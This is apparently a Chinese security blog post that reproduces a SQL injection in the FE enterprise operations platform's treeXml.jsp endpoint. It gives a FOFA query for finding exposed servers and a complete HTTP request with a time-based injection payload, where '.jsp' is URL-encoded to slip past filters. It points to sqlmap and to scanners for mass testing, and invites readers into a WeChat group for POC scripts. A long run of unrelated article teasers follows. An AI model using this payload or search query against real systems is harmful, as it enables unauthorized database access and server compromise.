【漏洞复现】飞企互联-FE企业运营管理平台 treeXml.jsp SQL注入漏洞
0x01 产品简介
飞企互联-FE企业运营管理平台是一个基于云计算、智能化、大数据、物联网、移动互联网等技术支撑的云工作台。这个平台可以连接人、链接端、联通内外，支持企业B2B、C2B与020等核心需求，为不同行业客户的互联网+转型提供支持。其特色在于提供云端工作环境，整合了人工智能、大数据分析和物联网设备管理，为不同行业客户的互联网+转型提供全面支持。通过智能化的决策支持和数据驱动的业务优化，企业可以更灵活、高效地运营业务，实现数字化转型的战略目标。
0x02 漏洞概述
飞企互联-FE企业运营管理平台 treeXmljsp 接口存在SQL注入漏洞，未经授权攻击者可通过该漏洞获取数据库敏感信息，进一步利用可获取服务器权限，导致网站处于极度不安全状态。
0x03 搜索引擎
app="FE-协作平台"
0x04 漏洞复现
GET /sys/treeXml.js%70?menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
sqlmap验证
0x05 工具批量
nuclei
afrog
xray
POC脚本获取
请使用VX扫一扫加入内部POC脚本分享圈子
相关文章：
【漏洞复现】飞企互联-FE企业运营管理平台 treeXml.jsp SQL注入漏洞
0x01 产品简介 飞企互联-FE企业运营管理平台是一个基于云计算、智能化、大数据、物联网、移动互联网等技术支撑的云工作台。这个平台可以连接人、链接端、联通内外，支持企业B2B、C2B与020等核心需求，为不同行业客户的互联网转型提供支持。其特色在于提供…...
Android基础-运行时权限
一、引言 随着智能手机和移动互联网的普及，Android操作系统作为其中的佼佼者，其安全性问题日益受到关注。为了保障用户数据的安全和隐私，Android系统引入了权限机制来管理和控制应用程序对系统资源和用户数据的访问。特别是在Android 6.0&am…...
postman断言及变量及参数化
1：postman断言 断言：判断接口是否执行成功的过程 针对接口请求完成之后，针对他的响应状态码及响应信息进行判断,代码如下： //判断响应信息状态码是否正确 pm.test("Status code is 200", function () { pm.response.…...
安装和使用TrinityCore NPCBot
安装TrinityCore NPCBot 官网：GitHub - trickerer/Trinity-Bots: NPCBots for TrinityCore and AzerothCore 3.3.5 基本安装方法 Follow TrinityCore Installation Guide (https://TrinityCore.info/) to install the server firstDownload NPCBots.patch and put …...
Hvv--知攻善防应急响应靶机--Linux2
HW–应急响应靶机–Linux2 所有靶机均来自 知攻善防实验室 靶机整理： 夸克网盘：https://pan.quark.cn/s/4b6dffd0c51a#/list/share百度云盘：https://pan.baidu.com/s/1NnrS5asrS1Pw6LUbexewuA?pwdtxmy 官方WP：https://mp.weixin.…...
replaceAll is not a function 详解
先说说原因： 在chrome 浏览器中使用 replaceAll 报这个错误，是因为chrome 版本过低， 在chrome 85 以上版本才支持 用法 replaceAll(pattern, replacement)const paragraph "I think Ruths dog is cuter than your dog!"; console…...
如何设置天锐绿盾的数据防泄密系统
设置天锐绿盾的数据防泄密系统，可以按照以下步骤进行： 一、系统安装与初始化 在线或离线安装天锐绿盾数据防泄密系统，确保以管理员身份运行安装包，并按照安装向导的提示完成安装。输入序列号进行注册，激活系统。 二…...
003 gitee怎样将默认的私有仓库变成公开仓库
先点击“管理”， 再点击“基本信息” 在“是否开源”里， 选择：开源...
Spring框架中的IOC（控制反转）详解
Spring框架中的IOC（控制反转）详解 一、引言 在软件开发中，设计模式与框架的应用极大地提高了开发效率和软件质量。其中，Spring框架因其强大的功能和灵活的扩展性，成为了Java企业级应用开发的首选。而Spring框架中的核…...
Score Matching（得分匹配）
Score Matching（得分匹配）是一种统计学习方法，用于估计概率密度函数的梯度（即得分函数），而无需知道密度函数的归一化常数。这种方法由Hyvrinen在2005年提出，主要用于无监督学习，特别…...
五大维度大比拼：ChatGPT比较文心一言，你的AI助手选择指南
文章目录 一、评估AI助手的五个关键维度二、ChatGPT和文心一言的比较 评估AI助手的五个关键维度，以及ChatGPT和文心一言的比较如下： 一、评估AI助手的五个关键维度 界面友好性 ： 评估标准：用户界面是否直观易用，是否…...
大学课设项目，Windows端基于UDP的网络聊天程序的服务端和客户端
文章目录 前言项目需求介绍一、服务端1.对Udp套接字进行一个封装2. UdpServer的编写3. Task.h4.protocol.h的编写5.线程池的编写6.main.cc 二、客户端1. Socket.h2.protocol.h3.UdpClient4.menu.h5.main.cpp 三、运行图 前言 本次项目可以作为之前内容的一个扩展，学…...
【5.x】ELK日志分析、集群部署
ELK日志分析 一、ELK概述 1、ELK简介 ELK平台是一套完整的日志集中处理解决方案，将ElasticSearch、Logstash和Kiabana三个开源工具配合使用，完成更强大的用户对日志的查询、排序、统计需求。 一个完整的集中式日志系统，需要包含以下几个主…...
揭秘创业加盟：豫腾助力，发掘商机，共赢未来
在我们生活的这个充满活力与机遇的世界里，商业活动如繁星点点，照亮着每个人的创业梦想。 在这个过程中，创业加盟作为一种独特且吸引人的模式，逐渐受到广大创业者的关注。 本文将深入解析创业加盟的精髓，以及如何在其…...
Linux操作系统以及一些操作命令、安装教程
Web课程完结啦，这是Web第一天的课程大家有兴趣可以传送过去学习 http://t.csdnimg.cn/K547r Linux-Day01 课程内容 Linux简介 Linux安装 Linux常用命令 1. 前言 1.1 什么是Linux Linux是一套免费使用和自由传播的操作系统。说到操作系统，大家比…...
树莓派4B_OpenCv学习笔记6:OpenCv识别已知颜色_运用掩膜
今日继续学习树莓派4B 4G：（Raspberry Pi，简称RPi或RasPi） 本人所用树莓派4B 装载的系统与版本如下: 版本可用命令 (lsb_release -a) 查询: Opencv 版本是4.5.1： 学了这些OpenCv的理论性知识，不进行实践实在…...
ZSH 配置
ZSH 配置 1. 安装 ZSH2. 安装 oh my zsh3. 安装插件3.1 autojump3.2 zsh-autosuggestions 1. 安装 ZSH sudo apt-get install zsh 完成安装后需设置当前用户使用 zsh： chsh -s /bin/zsh 重启后即可使用 2. 安装 oh my zsh 安装 oh my zsh 需先安装 git。 自动安装…...
LogicFlow 学习笔记——5. LogicFlow 基础 主题 Theme
主题 Theme LogicFlow 提供了设置主题的方法，便于用户统一设置其内部所有元素的样式。设置方式有两种： 初始化LogicFlow时作为配置传入初始化后，调用LogicFlow的 setTheme 方法 主题配置参数见主题API 配置 new LogicFlow 时作为将主题配…...
Centos7.9使用kubeadm部署K8S集群
Centos7.9使用kubeadm部署K8S集群 使用kubeadm部署一个k8s集群，单master2worker节点。 1. 环境信息 操作系统：CentOS 7.9.2009内存: 2GBCPU: 2网络: 能够互访，能够访问互联网 hostnameip备注k8s-master192.168.0.51masterk8s-node1192.16…...
VB.net调用VC DLL（二）
参考文献5，讲了在C程序中直接调用DLL和lib的函数方法，不是通过编译器连接方式 也讲了在非C程序中直接调用DLL和lib的函数方法。 实操了一下，建了win32dll项目 新建.h文件和.cpp文件 .h文件中加： void __stdcall funcA(double…...
社团管理系统
用Spring Boot、Vue.js和MyBatis实现社团管理系统 温馨提示：项目源代码获取方式见文末 摘要 本文探讨了如何使用Spring Boot作为后端框架，Vue.js作为前端框架，以及MyBatis作为数据库持久层框架，构建一个社团管理系统。该系统旨…...
网站的文章起到什么作用
1.便于用户了解产品服务 如果想要获得更多的用户访问或者转化率，那么网站就得需要高质量、高原创的文章，通过文章可以让用户更好的了解公司的产品和服务，用户会根据自己的需求去选择服务类型，从而可以给公司产生业务订单&am…...
Science | 稀土开采威胁马来西亚的生物多样性
马来西亚是一个生物多样性热点地区，拥有超过17万种物种，其中1600多种处于濒临灭绝的风险。马来西亚的热带雨林蕴藏了大部分的生物多样性，并为全球提供重要的生态系统效益，同时为土著社区带来经济和文化价值。同时马来西亚具有可观…...
pandas read_csv跳过有错的行
在使用Pandas的read_csv函数时，如果遇到格式错误或其他导致读取失败的行，Pandas默认会抛出异常。但如果你想让Pandas自动跳过这些错误行，可以使用error_bad_linesFalse参数。这将使Pandas在遇到格式错误的行时，忽略这些行而不是中…...
VRChat 2024年裁员原因与背景深度分析
VRChat，作为2022年元宇宙/VR社交领域的巨头，近期在2024年宣布裁员计划，其背后原因和背景值得业界尤其是仍在纯元宇宙虚拟空间创业的同仁们重点关注。 一、创始人决策失误 根据CEO的邮件披露，VRChat的创始人因缺乏经验和过度自信…...
mybatisplus 笔记
int isDelete userRoleMapper.delete(new LambdaQueryWrapper<UserRole>().in(UserRole::getUserId, roleUserDTO.getUserId()).in(UserRole::getRoleId, roleUserDTO.getRoleId()));LambdaQueryWrapper<UserRole>: LambdaQueryWrapper 是 MyBatis Plus 提供的一个…...
Shell脚本(.sh文件)如何执行完毕之后不自动关闭？
Shell脚本异常傲娇，出错后、执行完根本不给你机会让你查看报错信息、输出信息，直接闪退。 废话不多说，调教方法如下，直接在Shell脚本末尾加上如下代码： 1、实现方式一 1.1 使用read命令达到类似bat中的pause命令效果…...
苏州辰安塑业携塑料托盘、塑料物流箱解决方案亮相2024杭州快递物流展
苏州辰安塑业携塑料托盘、吹塑托盘、塑料卡板箱、塑料周转箱、塑料物流箱、塑料垃圾桶解决方案盛装亮相2024杭州快递物流展！ 展位号：3C馆A51 苏州辰安塑业有限公司，是一家专业从事塑料托盘、吹塑托盘、塑料卡板箱、塑料周转箱、塑料物流箱、…...
大模型应用开发技术：Multi-Agent框架流程、源码及案例实战（二）
LlaMA 3 系列博客 基于 LlaMA 3 LangGraph 在windows本地部署大模型 （一） 基于 LlaMA 3 LangGraph 在windows本地部署大模型 （二） 基于 LlaMA 3 LangGraph 在windows本地部署大模型 （三） 基于 LlaMA…...
Flutter 实现dispose探测控件
文章目录 前言一、什么是dispose探测控件？1、通常情况2、使用dispose探测控件 二、如何实现1、继承StatefulWidget2、定义dipose回调3、定义child4、重载Dispose方法5、build child 三、完整代码四、使用示例1、基本用法2、设置定义数据 总结 前言 开发flutter一般…...
北京网站建设哪家便宜/郑州百度推广开户
事务管理方式 在Spring中，事务有两种实现方式，分别是编程式事务管理和声明式事务管理两种方式。 编程式事务管理： 编程式事务管理使用TransactionTemplate或者直接使用底层的PlatformTransactionManager。对于编程式事务管理，spr…...
如何搭建情侣网站/百度知道网址
最近在学习中遇到了protobuf，哇喔竟然不知道，马上进行了学习，protobuf也是数据解析的方式，平时使用最多的是json和xml，那么好了，对比下他们的区别，并且附上protobuf的使用。 数据交互xml、json、…...
wordpress初始化/域名解析ip
1.环境说明 主机名IP地址备注redis1192.168.157.165redis主服务器redis2192.168.157.166redis从服务器redis3192.168.157.167redis从服务器 注意：操作系统 关闭防火墙、SELinux、并在hosts中添加主机名和IP地址的对应关系 3.上传介质 上传redis安装介质redis-3.0.…...
十堰哪里有做网站的/seo推广小分享
理解 SVG 中的 Viewport 和 ViewBox - 實做縮放（zoom）和拖曳（drag）效果 本文章同步刊載於 PJCHENder 前端網頁資源站 不同於以往將 SVG 視為一張圖案（ICON 或 LOGO）的概念，在這篇文章中…...
网站业务维护/it培训班学出来有用吗
前言 好久没分享工作总结啦，今天来一份代码优化总结。用模板方法策略工厂方法模式优化了代码，耐心点看完，应该对大家有帮助的~ 本文已经收录到github https://github.com/whx123/JavaHome 公众号：捡田螺的小男孩 优化代码前 先…...
教育教学成果展示网站建设/百度投诉中心24小时电话
昨天接到客户服务器告警，看到一个nginx+php网站正在遭受CC攻击，导致服务器复制居高不下，正常业务访问大多数时候出现502错误。 CC攻击是 DDOS(分布式拒绝服务) 的一种，DDoS是针对IP的攻击，而CC攻击的是网页。CC攻击来的IP都是真实的，分散的。数据包都是正常的数据包，攻…...